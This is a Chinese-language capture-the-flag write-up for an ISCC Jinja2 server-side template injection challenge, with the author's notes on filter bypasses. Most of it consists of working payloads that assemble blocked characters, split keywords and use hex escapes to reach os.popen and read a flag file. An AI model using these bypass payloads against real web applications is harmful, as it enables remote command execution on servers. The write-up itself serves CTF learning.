ISCC SSTI

2 篇文章 0 订阅

先找参数吧,通过信息搜集,参数是xiaodouni 就是小豆泥的英文,这个是暹罗猫的一个名字吧

然后直接放两个payload的吧
看不懂的可以看一下我以前的文章CTFshow ssti里面讲了思路,这里就不再解释了。

{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell3=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell3)|attr("read")()}}
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

然后后面是我写给我自己看的,有兴趣的也可以看一下。。。

首先是反思吧,通过这个题,发现自己对ssti的理解和应用并不好。。。
然后jinja是python的模板,多想想python,python菜得一匹。。。。

第一个

如果用第一个方法可以发现题目就改了一下,你像构造os,题搞出来的就是so,换了位置也是这样(是题设置的)
在这里插入图片描述
解决

1 用jinja里的reverse过滤器,作用简单说就是反转对象

在这里插入图片描述

在这里插入图片描述

2 用[::-1]

在这里插入图片描述

第二个

就是为什么ssti可以用16进制加密和unicode绕过,感觉就是会解析16进制吧,可能不太准确。。。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

只要没过滤\x,通过这个第二个payload就可以更简单,可以直接用16进制绕过,就不用构造特殊字符了。。。,不爽就直接用16绕,什么laji过滤,请再猛点。。。。

{% set gb="\x5f\x5fglobals\x5f\x5f" %}
{% set bl="\x5f\x5fbuiltins\x5f\x5f" %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["\x63\x68\x72"] %}
{% set shell=("\x66\x69\x6e\x64\x20\x2f\x20\x2d\x6e\x61\x6d\x65\x20\x2a\x66\x6c\x61\x67\x2a")|join%}  #find / -name *flag*
{% set shell4 = "\x63\x61\x74\x20\x2f\x75\x73\x72\x2f\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2e\x74\x78\x74"%}  #cat /usr/flag_is_here.txt
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

第三个

这个其实之前ssti就想过。。。然后问师傅也解决了,然后也没归纳,就一起写这吧。。
在这里插入图片描述
主要是最后这句话,,,,

就是用attr代替点绕过的时候,如果后面是属性可以直接用attr,如果是项目的话,就还要套中括号

4

这个是另一个大师傅的payload,然后我从里面学到的就是活用config|string()|select|stringlipsum|select|string,之前我™以为这三个是一样。。。这™怎么可能一样呢真傻逼。。。主要没去想string是干嘛,就直接去用了,稍微一下也该知道是干嘛的。。。可以看下下面的图

{% set xiahuaxian=(config|string)[14]%}
{% set gb=(xiahuaxian,xiahuaxian,"globals",xiahuaxian,xiahuaxian)|join %}
{% set bt=(xiahuaxian,xiahuaxian,"builtins",xiahuaxian,xiahuaxian)|join %}
{% set ccfhr=(lipsum|attr(gb)|attr("get")(bt))["ch""r"] %}
{% set qie = ccfhr(38)%}
{% set oofss=lipsum|attr(gb)|attr("get")("o""s")%}
{% set dian=(config|string)[798]%}
{% set xing =ccfhr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(oofss|attr("po""pen")(shell4))|attr("read")()}}

这里面就有很多有用的特殊字符像 '_' , '/ ' , '.'(点)
在这里插入图片描述
就看看就行了。。。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值